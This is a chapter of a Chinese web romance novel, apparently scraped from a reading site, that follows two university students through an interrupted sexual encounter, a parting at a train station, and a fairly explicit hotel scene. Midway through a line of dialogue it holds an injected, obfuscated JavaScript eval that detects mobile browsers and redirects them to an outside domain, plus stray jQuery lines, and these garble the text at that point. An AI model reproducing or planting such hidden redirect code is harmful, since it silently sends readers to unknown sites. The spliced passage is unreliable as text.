3. 第三章

作品:《愿者上钩

    做什么?


    做鲜花饼还是炸乳扇?


    陈聿口干舌燥地注视着她,不动。


    敌不动我不动。他想。


    可下一秒,钟疏身体前倾,靠过来,歪头,含住了他的喉尖。


    她温润的舌头滑过,轻轻吮了一口。


    静谧的房间里还能听到细微的吸吮声。


    啪——陈聿觉得自己脑中有什么炸开了,他的心跳仿佛要跳出嗓子眼一样,呼吸变得凌乱,一会儿急促到像要晕过去,一会儿沉缓到像要当场去世。


    他想动,但动不了。


    钟疏的动作没有停。


    她似攀附而上的蛇,一路,湿漉漉,滑腻腻的,不停地朝上吻,直至,咬上他的耳垂,轻轻用牙齿拉扯着。


    似痛非痛的感觉敲击着每一个神经细胞,使之为之颤栗。


    陈聿难耐地闭上眼,不停滚动的喉结说明一切。


    钟疏只亲了一会,她拉开距离,和他脸对脸,两个人的鼻尖蹭在一起。


    她看着他,很故意地问:“不想?”


    陈聿眉头皱了皱,半边牙咬得紧紧的,一阵挣扎后,他霍然睁眼,深色瞳孔扫了几眼近在咫尺的脸,一把把人推倒在床上,栖身而上。


    他压着她,双手将她的双手按在床上,俯身低头看她。


    沉甸甸的呼吸夹着混乱的心跳,悉数扑在钟疏脸上。


    背着灯光,十八岁男生的脸看不太清,但滚烫的气息出卖了他。


    钟疏还在逗他,“怎么说?”


    陈聿简直要疯,气得笑出声,“玩我很好玩?”


    他声音哑得可怕。


    但钟疏觉得很悦耳。


    她又笑起来,柔柔道:“没玩你,喜欢你。”


    陈聿脑中又有什么炸了,他已经不能思考了。


    只有一个念头在熊熊燃烧。


    ——今天不弄到她下不了床,特么的他就不是男人!


    他低头,气势汹汹地狠狠吻住她,没什么技巧,嘴唇对嘴唇压着碾着,炙热的舌粗暴地撬开对方的,不管三七二十一长驱直入,勾对方的,含对方,纠缠着,扫荡着每一个角落。


    两个人都刚洗完澡,口腔里是同一种牙膏味,淡淡的薄荷味,但这种薄荷味凶猛的在吞吐和纠缠中很快消失,亲到后面只有津液的回甘。


    亲得身体发疼,陈聿单手禁锢她的双腕,手往下探,摸到她浴袍的腰带扣,在解开前他看了眼钟疏。


    钟疏的嘴唇张合着,呼吸急促,被他亲肿的双唇性感得不行。


    他看她,她也看他,眼神直白,又似挑衅,仿佛在说:不敢了?


    陈聿和她对视着,手下动作没停,三两下解开浴袍腰带,拨开两片袍子,余光之中,有令人头皮发麻的明亮曲线。


    她里面没穿。


    她早有准备。


    她……靠,她就是在玩他。


    搞旅游艳|遇一夜情是吧?


    想到这儿,什么兴致都没了。


    陈聿松开她手腕,动作极快地起身,视线没在她身上停留,留给她一个不太爽的背影。


    钟疏慢腾腾地撑着起来,系好腰带,凑过去,“不敢还是不行?”


    陈聿自暴自弃地说:“嗯,我不行,行了吗。”


    “是吗?”


    钟疏从后抱他,脸颊贴着他硬朗的肩胛骨,手环过去。


    她说:“感觉很行啊。”


    陈聿喉咙霎时一紧,目瞪口呆地低头看,“你……”


    “嗯?”


    钟疏笑了笑施施然松开,下床,找拖鞋,穿戴整齐后,她走到陈聿面前,像哄小孩似的,说:“真没玩你,真的喜欢你。”


    突然脱离感官刺激,他腹部紧得无法呼吸,看着钟疏的眼又沉又红。


    半天才找回理智。


    这还不是玩?


    这他妈不是玩?


    陈聿咬牙切齿,硬邦邦地问:“那你喜欢我什么?”


    钟疏纤细的手指点点他的鼻梁,嘴唇,喉结,顿了顿,直线下滑,“喜欢你这些地方。”


    陈聿牙都要咬碎了,“只有外表?我没什么内涵值得你喜欢吗?”


    钟疏弯腰,捧着他的脸亲了一口,“有啊,我觉得你心肠很好,说话也坦荡,吉他弹得很动听,唱歌更是一绝。其他的,大概要等我们之后慢慢了解了。”


    陈聿觉得她像在训狗,给个指令给根骨头。


    但他确实像狗,这会儿虽然脸板着,但心里莫名在开花。


    他睨她,“之后慢慢了解是什么意思?”


    “就是你想的那个意思。”


    话落,钟疏拍拍他的脸,转身离开了他的房间,陈聿叫她,她也没回头。


    房门关上,留下涨得疼痛的舔狗和一室旖旎气息。


    ……


    回到海城,两个人在火车站分别,陈聿握着她嫩得像水葱似的手,时不时捏一下。


    他人生头一回那么扭捏,目光依依不舍地凝着钟疏,说:“要不,我送你回学校?你腿不方便。”


    钟疏抽出自己的手,握住拐杖,好整以暇地打量他。


    她说:“怕我身份信息是假的?一去不回?”


    “哪儿能啊,身份证都看了不是吗?”


    钟疏笑了笑。


    她朝他勾手指。


    陈聿弯腰,凑过去。


    钟疏一把揽住他脖颈,用尽所有力气踮脚,很扎实地对着他唇亲了一下。


    “周末有空了来我学校找我,我请你吃我们学校最有名的盖浇饭。”钟疏说。


    陈聿掐指一算,周末,四天后。


    很ok。


    他点头,将钟疏送进朝南的地铁,随而自己背着吉他心花怒放地荡进朝北的地铁。


    虽然是姐弟恋,虽然不是一个院校,虽然他们的院校还在1号线两头,但有情饮水饱,万事都不难。


    到了宿舍,他将吉他和背包一扔,张开双臂,嘚瑟地喊道:“兄弟们,俺老孙脱单啦!今年光棍节你们自己玩吧!”


    沈拓这段时间在外面打比赛,四人寝只剩两人,两人戴着耳麦,各自激情厮杀在游戏里。


    听到有猴子在乱叫,投去白眼以示尊重。


    陈聿笑笑,不在意这种赤|裸裸的嫉妒,哼着小曲去洗澡。


    洗完,往椅子里一躺,双脚朝书桌上一搁,抬着手机,一字一字地给女朋友发微信。


    陈成程橙:洗完澡了,刚分开就想你了。


    As:嗯呢,我补个觉,晚点聊。


    陈成程橙:好,睡吧,爱你,宝贝。


    As:午安。


    陈成程橙:午安。


    结束对话,陈聿点开钟疏资料,将她的备注名改成:宝贝。


    改完,觉得太干巴,又加了个前缀——最撩人的宝贝。


    完美。


    ……


    周末来临之前的四天漫长得像四季,陈聿几乎掐着秒表过日子。


    终于熬到周五下午磨人的大课结束,他一秒都不想等了,像那天冲动出发去大理一样,利索地收拾自己的衣物,收着收着整个人兴奋得似要炸开一样。


    他忍不住纵情高歌一曲,正唱到高潮,沈拓突然推门而入,那张脸冷得,仿佛他不是出去打比赛了,而是去苦寒之地流放了几十年。


    陈聿看他也来匆匆,去也匆匆,多问了句:“你才刚回来就要走啊?”


    沈拓摆摆手,“回家挨骂去。”


    陈聿耸耸肩继续唱歌收拾行李,心里已经没有兄弟一丝一毫的位置。


    最后揣上至关重要的身份证,他头也不回地离开宿舍。


    地铁一个半小时,出地铁口,天已经黑了。


    鸟不拉屎的郊区,只有零星几盏路灯亮着。


    但路灯下站着一个浑身发光的女人。


    钟疏穿得又厚又薄,白色长款羽绒服虽然裹着,但她领口很低,露出锁骨那一片白中透粉的肌肤,视线往下,她脚踝也露着,脚上踩着米色的加绒毛毛鞋。


    她应该不久前刚洗完澡,黑色长发散着,发尾还没干透,隔得老远,陈聿都闻到了她身上迷人的香气。


    他阔步走过去,眼眸一瞬不瞬地盯着钟疏,嘴角勾着浅浅笑意。


    走到她面前,陈聿一把将人揽入怀中。


    在女生中钟疏不算矮,有一米六六,但陈聿还是比她高出一大截。


    他手臂搭在她肩上,人松松垮垮地靠着她,脑袋垂得很低,声音也很低:“想我没?”


    他穿了件黑色短款羽绒服,拉链敞开着,里头是款式简单的黑色毛衣,勾着她时,肩膀下榻,重量偏移,另一侧外套衣角翘起,露出一段空隙。


    钟疏的手探进去,绕过,一把搂住他的腰,笑盈盈地抬头和他对视。


    她说:“你猜。”


    又是猜猜乐。


    但这会儿陈聿可太乐意猜了。


    他抬起搭在她肩膀上的手,手指刮了刮钟疏脸颊,轻笑着,很笃定地说:“我猜你很想我。”


    钟疏掐他没有赘肉的腰,“猜对了,请你吃盖烧饭。”


    “走。”


    两个人勾肩搭背地往前进。


    走了一段路,陈聿觉得哪儿怪怪的,寻思半响,他垂眼一瞧,钟疏的石膏没了。


    “你什么时候拆的石膏?”


    “昨天。”


    “你怎么没和我说。”


    “拆个石膏,一件小事,有什么好说的。”


    陈聿沉默了几秒,“小事?”


    钟疏淡然,“不然?”


    “我是你男朋友,我应该陪你去的。”


    “你偶像剧看多了吧。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051518|179044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不是、你、是你偶像剧看少了吧。”


    钟疏笑,懒得在这种无聊话题上多费功夫,她转移话题,“房间我订好了,套你买。”


    陈聿又沉默,他这一刻觉得钟疏像个渣男,不,渣女。


    钟疏看他,“害羞?不敢买?行,那等会儿我买。”


    陈聿:“……?”


    陈聿泄气:“我买。”


    潦草地品尝了盖浇饭,象征性地逛了一圈钟疏的学校,两个人快速钻进了学校边上唯一像点样子的酒店。


    钟疏订得豪华大床房,价格不算便宜。


    陈聿不是负担不起这样的价格,但他是个男孩子,父母穷养得厉害,以至于他觉得他女朋友真有钱啊。


    进了房间,空调温度开最高,陈聿左手将书包扔到沙发上,右手将两盒套扔床上,然后摸出手机,给钟疏转账,在原房费基础上补了个整数。


    钟疏在洗手间梳头,听到微信提示音,一看,没有犹豫地点了接收。


    她扭头,隔着浴室全透明的玻璃,看陈聿,说:“自尊心挺强啊你。”


    陈聿把手机一抛,翘着唇角笑笑,随后一件件开始脱衣服。


    黑毛衣褪去,是少年线条流畅,肌肉劲瘦的身体,宽肩窄腰的,不夸张的腹肌肌理分明。人鱼线一路往下延伸,隐没在蓝色牛仔裤的边缘。


    他开始解皮带扣。


    钟疏继续欣赏。


    脱到只剩内裤,他赤脚,拖着颀长的腿慢腾腾走过来,倚着浴室门,吊儿郎当道:“这位小姐,请你出去一下,我要洗个澡。”


    钟疏轻牵嘴角,出去之前,拍了拍他结实的翘臀。


    那姿态仿佛在说,洗快点,姐抽根烟,等你。


    陈聿哼笑了声,很矜持地拉下浴室落地玻璃的帘子。


    彻底隔绝空间后,陈聿扶着墙壁,深呼吸好几次,平复了点心跳后,他打开淋浴。


    钟疏等了挺久,她记得先是刷了会儿微博,发了一组上次去大理拍的星空照,很满意地欣赏了片刻,随后接到导师电话,告知她论文要修改的地方。


    她在手机上快把论文修改的片段重写完,陈聿才磨磨蹭蹭地从浴室出来。


    他裹了酒店的浴袍,踩着白色一次性拖鞋,浑身湿漉漉的,劲儿劲儿的黑色短发凌乱着,他有一搭没一搭在捂着毛巾擦。


    新鲜、不加粉饰的男人就是养眼,连乱糟糟的头发都将他衬得很有味道,青涩之中夹着男人的生命里,男人的成熟韵味里透着少年初出茅庐的张扬。


    钟疏目不转睛地注视他,心跳一沉一沉的,微湿。


    陈聿被盯得没由来的慌乱,强装镇定,走到她面前,居高临下地问:“洗完了,怎么说?”


    钟疏是真淡定,姿态放放松地往后倚,双手撑在床上。


    敞开的羽绒服就这样展开,露出里头春秋款的无袖黑色针织连衣裙,曼妙身姿一览无余。


    她双腿轻轻交叠,翘起的脚,皮肤柔软光滑,脚踝纤细伶仃,指甲盖修剪得干净整齐,透着淡淡的健康的粉色。


    她抬起那只脚,漫不经心地蹭他小腿。


    时不时会掀起浴袍的一角,里面的光景随之若隐若现。


    钟疏气息很低地说:“玩我啊,随便玩。我不像你,没那么小气。”


    “……”


    好好好。


    这么会刺激他,是吧。


    陈聿想起上次的意犹未尽,浑身不禁热起来,幽幽凝了钟疏几秒,朝斜后方甩了毛巾,单手拎起钟疏的脚踝,往跟前一拉,她倒下,他挤进她双腿之间。


    急躁的吻同时如狂风骤雨落下。


    他唇很热,也许是刚洗完澡的缘故,嘴唇还很柔软,再使劲儿亲也是享受的。


    钟疏搂着他脖颈,被亲得浑身软绵绵的,右手不自觉摸上他坚硬的发,手指插|入,指甲轻轻刮着。


    摩挲一阵,她的手往下移,一寸寸缓慢滑过他因低头隆起一节骨头,似嶙峋山峰。


    继续往下,绕到侧边,往下。


    陈聿一只脚站着撑着,一只脚曲膝抵在床尾,两个人没有贴得严丝合缝,正好能探进去一只手。


    扯开宽松的腰带结,在人鱼线附近大转几圈,钟疏明显感觉到陈聿气息开始颤抖。


    吻也有些心不在焉。


    她主动含住了他的唇峰,没给他缓一缓的机会。


    他的身体瞬间僵直,哪儿都直,直得厉害,直得发抖。


    也没心思亲了,闭着眼,五官皱成一团,深深浅浅的呼吸像原野燃烧的干草,火星子跳动,噼里啪啦地响。


    短暂的混乱后,他猛地压低身体,脑袋埋进钟疏颈窝里,死死埋着。


    大脑仿佛已经死了,只剩原始的肌肉本能反应。


    钟疏感受一点儿异样,但来不及多想。


    掌心洇湿。